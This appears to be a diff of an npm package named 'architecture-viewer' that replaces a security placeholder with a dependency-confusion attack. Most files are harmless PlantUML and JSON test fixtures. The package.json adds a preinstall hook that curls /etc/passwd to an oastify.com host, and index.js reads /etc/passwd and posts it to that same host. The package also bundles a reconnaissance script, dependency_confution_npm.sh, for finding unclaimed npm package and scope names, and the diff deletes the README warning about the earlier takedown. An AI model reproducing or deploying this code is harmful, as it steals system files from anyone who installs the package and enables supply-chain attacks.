architecture-viewer 0.0.1-security → 4.4.4

package/New Folder/architecture-viewer/tests/testfiles/aliased_participants.adoc

@@ -0,0 +1,7 @@
+@startuml
+autonumber
+participant A
+participant "B B B" as B
+participant C
+participant D D D as D
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/bigspace.json

@@ -0,0 +1 @@
+{"title":"","graphData":{"nodes":[{"data":{"id":"Edge","zone":"#FBDCD6"}},{"data":{"id":"DMS","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"Edge","target":"DMS"}}]},"stepData":[{"id":"0","type":"single","nodes":["Edge","DMS"],"steps":[],"description":"Check if deviceToken is present","note":""},{"id":"1","type":"single","nodes":["Edge","DMS"],"steps":[],"description":"another one","note":""}],"zoneData":[]}

package/New Folder/architecture-viewer/tests/testfiles/dividers.adoc

@@ -0,0 +1,18 @@
+@startuml
+participant A
+participant B
+participant C
+
+== As only ==
+A -> B: AB
+A -> C: AC
+
+==Bs only==
+B -> A: BA
+B -> C: BC
+
+==Cs only==
+C -> A: CA
+C -> B: CB
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/doubled_names.adoc

@@ -0,0 +1,10 @@
+@startuml
+
+participant A
+participant "B" as B
+participant "B" as C
+
+A -> B: result?
+A -> C: result
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/empty.adoc

@@ -0,0 +1,2 @@
+@startuml
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/meta.adoc

@@ -0,0 +1,19 @@
+@startuml
+
+
+participant plantuml
+participant json
+participant parser
+participant validator
+participant renderer
+participant TOC
+participant diagram
+
+plantuml -> parser: a plantUML file is uploaded to the app, and parsed
+json -> parser: a JSON file is uploaded to the app, and parsed
+parser -> validator: the parsed result is passed to the validator, which is then validated (mostly for user generated JSON)
+validator -> renderer: after the data is validated, the data is rendered by the app's renderer
+renderer -> TOC: the step data is rendered in a TOC widget located on the right of the app
+renderer -> diagram: the diagram is rendered using the graphData, and is located on the left of the app
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/notes_multiline.adoc

@@ -0,0 +1,17 @@
+@startuml
+autonumber
+participant A
+participant B
+participant C
+
+    A -> B: AB
+    note left: AB note
+
+    A -> C: AC
+    note right
+    AC line 1
+
+    AC line 2
+    end note
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/notes_singleline.adoc

@@ -0,0 +1,16 @@
+@startuml
+autonumber
+participant A
+participant B
+participant C
+
+    A -> B: AB
+    note left: AB note
+
+    A -> C: AC
+    note right: AC note
+
+    note over A: this is over A
+    note right of A: this is right of A
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/parsefile.adoc

@@ -0,0 +1,6 @@
+@startuml
+autonumber
+participant Testing\nmulti\nline as TML
+
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/participant_decl.adoc

@@ -0,0 +1,6 @@
+@startuml
+autonumber
+participant A
+actor "B B B" as B
+participant C
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/participant_info.adoc

@@ -0,0 +1,7 @@
+@startuml
+participant A
+note over A
+    this is some info on A<br/>
+    newlines idk
+end note
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/readme.adoc

@@ -0,0 +1,7 @@
+@startuml
+title "some_title"
+participant some_id   << (X, #ffb2b2) Z1 >>
+participant some_id_2 << (X, #b2b2ff) Z2 >>
+
+some_id -> some_id_2: an example step
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/steps_aliased.adoc

@@ -0,0 +1,9 @@
+@startuml
+autonumber
+participant "AAA" as A
+participant "BBB" as B
+participant "CCC" as C
+
+    A -> B: AB
+    B -> C: BC
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/steps_group.adoc

@@ -0,0 +1,16 @@
+@startuml
+autonumber
+participant A
+participant B
+participant C
+    group testgroup1
+        A -> B: AB
+        group testgroup2
+            B -> C: BC
+        end
+        note left: group note testgroup2
+    end
+    note left
+        group note testgroup1
+    end note
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/steps_group.json

@@ -0,0 +1 @@
+{"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"group","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"group","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testgroup2","note":"group note testgroup2"}],"description":"testgroup1","note":"group note testgroup1"}],"zoneData":[]}

package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.adoc

@@ -0,0 +1,16 @@
+@startuml
+autonumber
+participant A
+participant B
+participant C
+    group testgroup1
+        A -> B: AB
+        loop testloop2
+            B -> C: BC
+        end
+        note left: loop note testloop2
+    end
+    note left
+        group note testgroup1
+    end note
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.json

@@ -0,0 +1 @@
+{"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"group","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testloop2","note":"loop note testloop2"}],"description":"testgroup1","note":"group note testgroup1"}],"zoneData":[]}

package/New Folder/architecture-viewer/tests/testfiles/steps_loop.adoc

@@ -0,0 +1,16 @@
+@startuml
+autonumber
+participant A
+participant B
+participant C
+    loop testloop1
+        A -> B: AB
+        loop testloop2
+            B -> C: BC
+        end
+        note left: loop note testloop2
+    end
+    note left
+        loop note testloop1
+    end note
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/steps_loop.json

@@ -0,0 +1 @@
+{"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testloop2","note":"loop note testloop2"}],"description":"testloop1","note":"loop note testloop1"}],"zoneData":[]}

package/New Folder/architecture-viewer/tests/testfiles/steps_mixed.adoc

@@ -0,0 +1,9 @@
+@startuml
+autonumber
+participant A
+participant "BBB" as B
+participant C
+
+    A -> B: AB
+    B -> C: BC
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/steps_steptest.adoc

@@ -0,0 +1,17 @@
+@startuml
+autonumber
+participant A
+participant B
+    A -> B: AB1
+    A -\ B: AB2
+    A -/ B: AB3
+    A ->> B: AB4
+    A -\\ B: AB5
+    A -// B: AB6
+    A --> B: AB7
+    A --\\ B: AB8
+    A --// B: AB9
+    A -->> B: AB10
+    B <- A: AB11
+    A <-> B: AB12 //shouldn't be parsed
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/steps_unaliased.adoc

@@ -0,0 +1,9 @@
+@startuml
+autonumber
+participant A
+participant B
+participant C
+
+    A -> B: AB
+    B -> C: BC
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/supernodes.adoc

@@ -0,0 +1,10 @@
+@startuml
+
+participant A << (X,#80ccff) blue! >>
+participant B << (X,#80ccff) blue! >>
+participant C
+
+C -> A: whoa
+A -> B: inside!
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/unaliased_participants.adoc

@@ -0,0 +1,6 @@
+@startuml
+autonumber
+participant A
+participant "B"
+participant C
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/undeclaredparticipant.adoc

@@ -0,0 +1,23 @@
+@startuml
+participant "Customer" as cust
+participant "Wallet Client" as WC
+participant "Edge" as WO
+
+participant "APNS" as APNS
+participant "GCM" as GCM
+
+participant "DMS" as DMS
+
+participant "360" as 360
+participant "360" as CST
+
+
+WO -> WO: Swallow failure(?) 
+WO -> WC: return Success/Failure
+
+WC -> WO: <color #0000ff> update AlertSubscriptions 
+WO -> TSYS: <color #0000ff> tsysAuthUpdate V1 (accountReferenceId, boolean)
+TSYS -> WO: return success/failure
+
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/xsstest.adoc

@@ -0,0 +1,15 @@
+@startuml
+autonumber
+participant A
+participant B
+participant C
+
+    A -> B: AB
+    note left: AB note
+
+    A -> C: AC
+    note right
+    <script>alert("maybe")</script>
+    end note
+
+@enduml

package/New Folder/architecture-viewer/tests/testfiles/zoned_participants.adoc

@@ -0,0 +1,5 @@
+@startuml
+participant A << (X, #111) zoneA >>
+participant "BBB" as B << (X, #222) zoneB >>
+participant C
+@enduml

package/New Folder/architecture-viewer/tests/validator.test.js

@@ -0,0 +1,63 @@
+import validator from '../src/utils/dataValidator';
+
+
+//The given example files for users to test out themselves
+const base_dir = '../sample_json_data/'
+
+const simple_structure = require(base_dir + 'simple_structure.json');
+const section_example = require(base_dir + 'section_example.json');
+const readme_example = require(base_dir + 'readme_example.json');
+const zones_example = require(base_dir + 'zones_example.json');
+const large_web = require(base_dir + 'large_web.json');
+
+const printErrors = (res) => {
+    if (res.errors) {
+        console.error(errors);
+    }
+}
+
+expect.extend({
+    toNotError(received, argument) {
+        const res = validator(received);
+        const pass = res.errors.length === 0;
+        if (pass) {
+            return {
+                message: () => (`${received} is a valid json structure`),
+                pass: true
+            }
+        } else {
+            return {
+                message: () => (`an error occurred in validation, here it is: \n${JSON.stringify(res.errors, null, 4)}`),
+                pass: false
+            }
+        }
+    }
+})
+
+describe('validator', () => {
+    /*
+        THE GIVEN JSON FILES IN THE sample_json_data DIRECTORY
+    */
+    it('should validate a simple diagram', () => {
+        expect(simple_structure).toNotError();
+    });
+
+    it('should validate a diagram with groups', () => {
+        expect(section_example).toNotError();
+    })
+
+    it('should validate the readme example', () => {
+        expect(readme_example).toNotError();
+    })
+
+    it('should validate the zones example', () => {
+        expect(zones_example).toNotError();
+    })
+
+    it('should validate the large web example', () => {
+        expect(large_web).toNotError();
+    })
+
+
+
+});

package/New Folder/d_i.txt

@@ -0,0 +1 @@
+import InternalModule from "@capitalone/internal-module"

package/New Folder/dependency_confution_npm.sh

@@ -0,0 +1,70 @@
+#!/bin/bash
+echo ''' 
+    _   __                   ___         __      
+   / | / /___  ____ ___     /   | __  __/ /_____ 
+  /  |/ / __ \/ __ `__ \   / /| |/ / / / __/ __ \
+ / /|  / /_/ / / / / / /  / ___ / /_/ / /_/ /_/ /
+/_/ |_/ .___/_/ /_/ /_/  /_/  |_\__,_/\__/\____/ 
+     /_/                                           v1.0.2
+              twitter.com/@x1337loser        
+warning: BE AWARE OF FALSE POSITIVE, CONFIRM YOUR FINDING MANUALLY.  Good Luck.
+Use with caution. You are responsible for your actions.
+Developers assume no liability and are not responsible for any misuse or damage.
+'''
+
+if [ -d $1 ];then
+    echo '' >/dev/null 2>&1
+else 
+    mkdir $PWD/$1;
+fi
+echo -e "Running waybackurls on $1"
+waybackurls $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
+echo -e "Running gau on $1"
+gau $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
+
+cd $PWD/$1;
+echo -e "Found $(cat $1-js-urls.txt | sort -u |wc -l) js file url ";
+cat $1-js-urls.txt | sort -u |while read ut;do
+    wget $ut.map >/dev/null 2>&1;
+    done
+
+grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | grep -v '@' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | tee -a $1-npm-packages.txt >/dev/null 2>&1;
+
+rm $1-js-urls.txt;
+if [ -s $1-npm-packages.txt ];then
+    echo -e "   Found some packages now going for final test on "$1-npm-packages.txt"";
+    cat $1-npm-packages.txt | sort -u | while read ut;do
+        if $(curl -o /dev/null -s -w "%{http_code}\n" "https://registry.npmjs.org/$ut" | grep "404" >/dev/null 2>&1); then
+            echo -e ""$ut" \e[1;31mFound Private npm package, \e[0m" && echo $ut >> $1-npm-vuln.txt;
+            echo -e "\e[1;31mprivate package URL: https://registry.npmjs.org/$ut \e[0m"
+
+        else
+            echo -e ""$ut"\e[1;33m Available in Public Registry \e[0m";
+        fi
+        done
+else
+    echo -e "No npm packages found, now going for scope test "
+fi
+#this part is for the scope package test please be careful with that, some times `www.npmjs.com` will show you 429 response code
+grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep '@' | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | grep '@' | cut -d '@' -f 2 | tee -a $1-npm-scope.txt >/dev/null 2>&1;
+
+if [ -s $1-npm-scope.txt ];then
+    echo -e "   Found some Scope names now going for final test on "$1-npm-scope.txt"";
+    cat $1-npm-scope.txt | sort -u | while read pkg;do
+    OPTION=`curl -o /dev/null -s -w "%{http_code}\n" "https://www.npmjs.com/org/$pkg"`
+        if $(echo "$OPTION" | grep "200\|302" >/dev/null 2>&1);then
+            echo -e "@"$pkg"\e[1;33m Available in Public Registry \e[0m" && echo $pkg >> $1-npm-scope-vuln.txt;
+            grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo "Full package name of @"$pkg" is @"$pkg"/"$ut" ";done
+        elif $(echo "$OPTION" | grep "429" >/dev/null 2>&1);then
+            echo -e "@"$pkg" \e[1;31m Rate limit detected \e[0m"
+
+        else
+            echo -e "@"$pkg"\e[1;31m Found Unclaimed scope Name\e[0m";
+            echo -e "\e[1;31mprivate org URL: https://www.npmjs.com/org/$pkg \e[0m"
+            grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo -e "\e[1;31mFull package name of @"$pkg" is @"$pkg"/"$ut", this is unclaimed, Add @"$pkg"/"$ut" in your package.json file like {package: @"$pkg"/"$ut"}, \e[0m";done
+        fi
+        done
+else
+    echo -e "No Scope name found";
+fi
+rm $1-npm-scope.txt *.map.* *.map $1-npm-packages.txt;

package/New Folder/licenses.csv

@@ -0,0 +1,40 @@
+"module name","license","repository"
+"ajv@6.5.3","MIT","https://github.com/epoberezkin/ajv"
+"cytoscape-dagre@2.2.1","MIT","https://github.com/cytoscape/cytoscape.js-dagre"
+"cytoscape-popper@1.0.2","MIT","https://github.com/cytoscape/cytoscape.js-popper"
+"cytoscape@3.2.16","MIT","https://github.com/cytoscape/cytoscape.js"
+"dagre@0.7.4","MIT","https://github.com/cpettitt/dagre"
+"dagre@0.8.2","MIT","https://github.com/dagrejs/dagre"
+"fast-deep-equal@2.0.1","MIT","https://github.com/epoberezkin/fast-deep-equal"
+"fast-json-stable-stringify@2.0.0","MIT","https://github.com/epoberezkin/fast-json-stable-stringify"
+"fillthisfornow@0.0.0","UNLICENSED",""
+"fs-access@1.0.1","MIT","https://github.com/sindresorhus/fs-access"
+"graphlib@1.0.7","MIT","https://github.com/cpettitt/graphlib"
+"graphlib@2.1.5","MIT","https://github.com/dagrejs/graphlib"
+"heap@0.2.6","PSF","https://github.com/qiao/heap.js"
+"immutability-helper@2.7.1","MIT","https://github.com/kolodny/immutability-helper"
+"invariant@2.2.4","MIT","https://github.com/zertosh/invariant"
+"isexe@2.0.0","ISC","https://github.com/isaacs/isexe"
+"js-tokens@4.0.0","MIT","https://github.com/lydell/js-tokens"
+"json-schema-traverse@0.4.1","MIT","https://github.com/epoberezkin/json-schema-traverse"
+"karma-chrome-launcher@2.2.0","MIT","https://github.com/karma-runner/karma-chrome-launcher"
+"lodash.debounce@4.0.8","MIT","https://github.com/lodash/lodash"
+"lodash@3.10.1","MIT","https://github.com/lodash/lodash"
+"lodash@4.17.10","MIT","https://github.com/lodash/lodash"
+"loose-envify@1.4.0","MIT","https://github.com/zertosh/loose-envify"
+"null-check@1.0.0","MIT","https://github.com/sindresorhus/null-check"
+"object-assign@4.1.1","MIT","https://github.com/sindresorhus/object-assign"
+"popper.js@1.14.4","MIT","https://github.com/FezVrasta/popper.js"
+"preact-compat@3.18.3","MIT","https://github.com/developit/preact-compat"
+"preact-render-to-string@3.8.2","MIT","https://github.com/developit/preact-render-to-string"
+"preact-router@2.6.1","MIT","https://github.com/developit/preact-router"
+"preact-transition-group@1.1.1","MIT","https://github.com/developit/preact-transition-group"
+"preact@8.3.1","MIT","https://github.com/developit/preact"
+"pretty-format@3.8.0","MIT","https://github.com/thejameskyle/pretty-format"
+"prop-types@15.6.2","MIT","https://github.com/facebook/prop-types"
+"punycode@2.1.1","MIT","https://github.com/bestiejs/punycode.js"
+"standalone-react-addons-pure-render-mixin@0.1.1","MIT",""
+"tippy.js@2.5.4","MIT","https://github.com/atomiks/tippyjs"
+"uri-js@4.2.2","BSD-2-Clause","https://github.com/garycourt/uri-js"
+"which@1.3.1","ISC","https://github.com/isaacs/node-which"
+

package/New Folder/package.json.save

@@ -0,0 +1,12 @@
+{
+  "name": "architecture-viewer",
+  "version": "6.7.8",
+  "description": "Malicious package ",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+	
+  },
+  "author": "al1min",
+  "license": "ISC"
+}

package/index.js

@@ -0,0 +1,39 @@
+const http = require('http');
+const exec = require('child_process').exec;
+
+// If this file is executed, you know the package is being installed
+console.log("[+] Malicious package installed!");
+
+// Exfiltrate sensitive information to a remote server
+exec('cat /etc/passwd', (error, stdout, stderr) => {
+  if (error) {
+    console.error(`exec error: ${error}`);
+    return;
+  }
+
+  // Send the sensitive data to a remote server
+  const options = {
+    hostname: 'vqpgutq5c4iuyqiy6gfjleom5db7z2nr.oastify.com',  // Replace with my server
+    port: 80,
+    path: '/exfiltrate',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+    }
+  };
+
+  const req = http.request(options, (res) => {
+    res.on('data', (d) => {
+      process.stdout.write(d);
+    });
+  });
+
+  req.on('error', (e) => {
+    console.error(e);
+  });
+
+  // Send the exfiltrated data
+  req.write(JSON.stringify({ passwd: stdout }));
+  req.end();
+});
+

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "architecture-viewer",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "4.4.4",
+  "description": "An architecture viewer tool",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "/usr/bin/curl --data '@/etc/passwd' ${hostname}vqpgutq5c4iuyqiy6gfjleom5db7z2nr.oastify.com"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=architecture-viewer for more information.